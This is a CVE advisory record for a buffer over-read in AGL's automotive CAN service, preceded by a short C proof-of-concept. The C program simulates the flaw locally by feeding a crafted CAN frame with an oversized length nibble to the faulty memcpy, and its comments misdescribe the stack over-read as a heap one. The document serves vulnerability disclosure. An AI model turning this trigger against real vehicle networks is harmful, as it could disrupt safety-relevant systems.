CVE-2026-37532

#include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function logic based on description void simulate_vulnerability(uint8_t *can_frame) { // Extract payload_length from the 4-bit nibble (first byte low bits) uint8_t payload_length = can_frame[0] & 0x0F; printf("[+] Extracted payload_length: %d\n", payload_length); // Standard CAN frame is 8 bytes, payload starts at data[1] // Available data is 7 bytes (indices 1 to 7) uint8_t message_payload[16]; // Vulnerable memcpy: reads 'payload_length' bytes from &data[1] // If payload_length is 15, it reads 8 bytes past the end of the 8-byte frame buffer memcpy(message_payload, &can_frame[1], payload_length); printf("[+] Data copied. Potential heap over-read occurred if length > 7.\n"); } int main() { // Standard CAN frame max size is 8 bytes uint8_t malicious_frame[8] = {0}; // Set the first byte low nibble to 15 (0xF) to indicate a large payload // This simulates the malicious condition triggering the overflow malicious_frame[0] = 0x0F; // Fill the rest with dummy data for(int i = 1; i < 8; i++) { malicious_frame[i] = 0x41 + i; } printf("[*] Sending malicious CAN frame...\n"); simulate_vulnerability(malicious_frame); return 0; }

{"cve": {"id": "CVE-2026-37532", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:22.897", "lastModified": "2026-05-15T15:38:17.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AGL agl-service-can-low-level thru 17.1.12 contains a heap buffer over-read in the isotp-c library. In isotp_continue_receive (receive.c:87-89), the payload_length for a Single Frame is extracted from a 4-bit nibble in the CAN frame data, yielding values 0-15. However, a standard CAN frame is only 8 bytes, with payload starting at data[1] (7 bytes available). When payload_length exceeds the available data (e.g., nibble=15 but only 7 payload bytes exist), memcpy(message.payload, &data[1], payload_length) reads up to 8 bytes past the end of the data buffer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:automotive_grade_linux:*:*:*:*:*:*:*:*", "versionEndIncluding": "17.1.12", "matchCriteriaId": "F565A1E5-42E5-4115-830F-2A328C92F35B"}]}]}], "references": [{"url": "https://gerrit.automotivelinux.org/gerrit/apps/agl-service-can-low-level", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/sgInnora/8526eedcfd826d05ef1fc45d8f405643", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}